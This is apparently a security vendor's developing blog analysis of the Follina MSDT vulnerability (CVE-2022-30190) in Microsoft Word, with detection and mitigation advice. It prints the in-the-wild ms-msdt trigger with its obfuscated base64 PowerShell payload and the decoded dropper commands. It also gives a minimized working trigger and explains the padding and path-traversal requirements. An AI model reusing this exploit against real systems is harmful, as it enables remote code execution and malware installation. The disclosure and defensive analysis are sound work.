This post, as is the norm for emerging threats, is a developing article and may be subject to change as the Huntress team learns more about this attack vector and new information is available.
UPDATE 4:51pm ET June 14, 2022:
Microsoft announced an available patch for the Follina exploit. Our team has been working to validate the patch, and we have tested and verified that the patch is effective both for Windows 10 and Windows 11:
Just to note, your KB# may vary based on your operating system—check out Microsoft's update for the full list.
Below, the code fails to execute on Windows 10:
In the below image, the raw command fails on Windows 10:
UPDATE 11:16pm ET May 30, 2022:
Microsoft has now revealed the CVE identifier for this vulnerability is CVE-2022-30190, including a Security Update and article with guidance... but no patch looks to be available as of yet.
- https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/
- https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-30190
Jump Links
The Non-Technical Version of What's Happening
Huntress is keeping a close eye on the developing threat of a zero-click remote code execution technique used through MSDT (Microsoft Diagnostics Tool) and Microsoft Office utilities, namely Microsoft Word. Throughout the next coming days, we expect exploitation attempts in the wild through email-based delivery.
In this article, we will discuss recreating the attack vector, detection efforts and potential mitigation steps.
If you are seeking guidance on how to keep your users safe rather than an in-depth explanation of the vulnerability, the short answer is to let them know that there is a newly discovered vulnerability in MS Word (and likely other MS Office apps) that could install malware so they should be especially vigilant about opening any attachments. They should also be made aware that this exploit can be triggered with a hover-preview of a downloaded file that does not require any clicks (post download). There are additional suggestions for mitigation actions at the bottom of this post.
Understanding the Exploit
The Huntress team obtained the sample first shared by @nao_sec on Twitter and examined the contents of the Microsoft Word document. We have replicated this exploit and are sharing our findings below.
Unzipping the file extracts all the components that make up the Office document.
Inside the word/_rels/ folder is a document.xml.rels file, containing an external reference to hxxps[:]//www.xmlformats.com/office/word/2022/wordprocessingDrawing/RDF842l.html!
At the time of writing (0041 EDT 30 May 2022), this website is no longer online. From the previous research shared from @nao_sec, we could retrieve the HTML from ANY.RUN’s dynamic analysis.
This was the original contents of RDF842l.html:
Click the image to enlarge it
This HTML document begins with a script tag and includes a significant amount of commented A characters, which (considering they are just comments), would seem to serve no purpose… but from our testing, a hefty amount of characters is necessary for the exploit to fire.
At the very bottom of the script tag is the syntax:
window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_LaunchMethod=ContextMenu IT_SelectProgram=NotListed IT_BrowseForFile=h$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'JGNtZCA9ICJjOlx3aW5kb3dzXHN5c3RlbTMyXGNtZC5leGUiO1N0YXJ0LVByb2Nlc3MgJGNtZCAtd2luZG93c3R5bGUgaGlkZGVuIC1Bcmd1bWVudExpc3QgIi9jIHRhc2traWxsIC9mIC9pbSBtc2R0LmV4ZSI7U3RhcnQtUHJvY2VzcyAkY21kIC13aW5kb3dzdHlsZSBoaWRkZW4gLUFyZ3VtZW50TGlzdCAiL2MgY2QgQzpcdXNlcnNccHVibGljXCYmZm9yIC9yICV0ZW1wJSAlaSBpbiAoMDUtMjAyMi0wNDM4LnJhcikgZG8gY29weSAlaSAxLnJhciAveSYmZmluZHN0ciBUVk5EUmdBQUFBIDEucmFyPjEudCYmY2VydHV0aWwgLWRlY29kZSAxLnQgMS5jICYmZXhwYW5kIDEuYyAtRjoqIC4mJnJnYi5leGUiOw=='+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe IT_AutoTroubleshoot=ts_AUTO\"";
This looks to be the crux of the exploit. Using a schema for ms-msdt, the native package PCWDiagnostic is invoked with the parameters IT_BrowseForFile which includes PowerShell syntax embedded within $().
The Base64 encoded data, ran through two layers of Invoke-Expression, decode to:
$cmd = "c:\windows\system32\cmd.exe";
Start-Process $cmd -windowstyle hidden -ArgumentList "/c taskkill /f /im msdt.exe";
Start-Process $cmd -windowstyle hidden -ArgumentList "/c cd C:\users\public\&&for /r %temp% %i in (05-2022-0438.rar) do copy %i 1.rar /y&&findstr TVNDRgAAAA 1.rar>1.t&&certutil -decode 1.t 1.c &&expand 1.c -F:* .&&rgb.exe";
With the path to cmd.exe captured as a variable, this process:
- Starts hidden windows to:
- Kill msdt.exe if it is running
- Loop through files inside a RAR file, looking for a Base64 string for an encoded CAB file
- Store this Base64 encoded CAB file as 1.t
- Decode the Base64 encoded CAB file to be saved as 1.c
- Expand the 1.c CAB file into the current directory, and finally:
- Execute
rgb.exe(presumably compressed inside the 1.c CAB file)
The impact of rgb.exe specifically is unknown, but the important takeaway is that this is a novel initial access technique that readily offers threat actors code execution with just a single click—or less. This is an enticing attack for adversaries as it is tucked inside of a Microsoft Word document without macros to trigger familiar warning signs to users—but with the ability to run remotely hosted code.
To better understand this threat, Huntress security researchers modified the internals of the Word document to call out to a local address within an analysis sandbox, and served a benign payload that would display a message rather than detonating malware.
Click the image to enlarge it
After some testing, it was clear that the payload would not execute without a significant number of padding characters (the A’s that were present in the HTML comments). We explored different variations, using different characters and placing the block of comments above and below the triggering script code… but it wasn’t clear to us why this was necessary until the community stepped in. Rich Warren shared a blog from Bill Demirkapi indicating there was a hardcoded buffer size for an HTML processing function, and we were able to confirm any files with fewer than 4096 bytes would not invoke the payload.
Following even more tinkering, we noticed some syntax used within the script invocation was not necessary to invoke the payload. Using the same benign payload (with the opening of the Windows built-in calculator as our demonstration of success,) we could shrink the trigger to just:
location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=/../../$(calc)/.exe\"";
It appeared that:
- At a minimum, two /../ directory traversals were required at the start of the IT_BrowseForFile parameter
- Code wrapped within $() would execute via PowerShell, but spaces would break it
- “.exe” must be the last trailing string present at the end of the IT_BrowseForFile parameter
While this is not by any means the most it could be compressed down to, we hope this shows how variants of this attack could exist.
Note, a Rich Text Format file (.rtf) could trigger the invocation of this exploit with just the Preview Pane within Windows Explorer. Much like CVE-2021-40444, this extends the severity of this threat by not just “single-click” to exploit, but potentially with a “zero-click” trigger.
Click the image to enlarge it
Additionally, the triggering payload can reach out to remote locations. While this is unlikely to invoke an untrusted binary, the connection will still carry NTLM hashes (which means that the bad actors now have a hash of the victim’s Windows password) that could be used by an adversary for further post-exploitation.
Click the image to enlarge it
Kudos to previous researchers for clueing us in on those potential remote threats, from their analysis of other methods to take advantage of MSDT:
Bear in mind that this attack technique runs code under the user account that opened or navigated towards the malicious document. This means that an adversary may begin as a low privilege user (without admin permissions) but can then use this access to trigger further attacks to escalate privilege and gain more access into the target environment.
Educating users to identify and delete malicious emails remains your best line of defense until a patch is available to deploy to your endpoints.
Detection Efforts
Payloads executed by this attack vector will create a child process of msdt.exe under the offending Microsoft Office parent.
Additionally, the sdiagnhost.exe process will be spawned with a conhost.exe child and its subsequent payload processes (our benign calc.exe would bounce and open the Calculator.exe metro application).
Click the image to enlarge it
Huntress has been continually adding detection capabilities to our managed security platform and is actively monitoring for threats including those related to this vulnerability. We have validated that the specific exploits seen in the wild trigger Huntress Managed Antivirus incidents with Windows Defender. In addition, our Threat Operations team is hunting across our Process Insights technology for new variations of this threat.
If you are doing your own threat hunting, SIGMA rules to detect this can be found here — kudos to Huntress Detection Engineer Matthew Brennan!
Currently, Windows Defender will detect the known in-the-wild malicious sample as CVE-2017-0199. While this threat is not a vulnerability dating back to 2017, it is likely this detection will be refined and improved very soon.
Mitigation Efforts
While a patch is not yet released at the time of writing, you can still pursue mitigating efforts to limit your attack surface.
If utilizing Microsoft Defender’s Attack Surface Reduction (ASR) rules in your environment, activating the rule “Block all Office applications from creating child processes” in Block mode will prevent this from being exploited. However, if you’re not yet using ASR you may wish to run the rule in Audit mode first and monitor the outcome to ensure there’s no adverse impact on end users.
Another option is to remove the file type association for ms-msdt (can be done in Windows Registry HKCR:\ms-msdt or with Kelvin Tegelaar’s PowerShell snippet). When the malicious document is opened, Office will not be able to invoke ms-msdt thus preventing the malware from running. Be sure to make a backup of the registry settings before using this mitigation.
The Non-Technical Version of What's Happening
If you're wondering how to communicate about this exploit to your end users (or even need this analysis broken down for your own knowledge), here are the main takeaways:
- This is a 0-day attack that sprung up out of nowhere, and there’s currently no patch available
- This 0-day features remote code execution, which means that once this code is detonated, threat actors can elevate their own privileges and potentially gain “god mode” access to the affected environment
- The mitigations that are available are messy workarounds that the industry hasn’t had time to study the impact of. They involve changing settings in the Windows Registry, which is serious business because an incorrect Registry entry could brick your machine
- Detonating this malicious code is as simple as opening up a Word doc—in preview mode
Further Reading
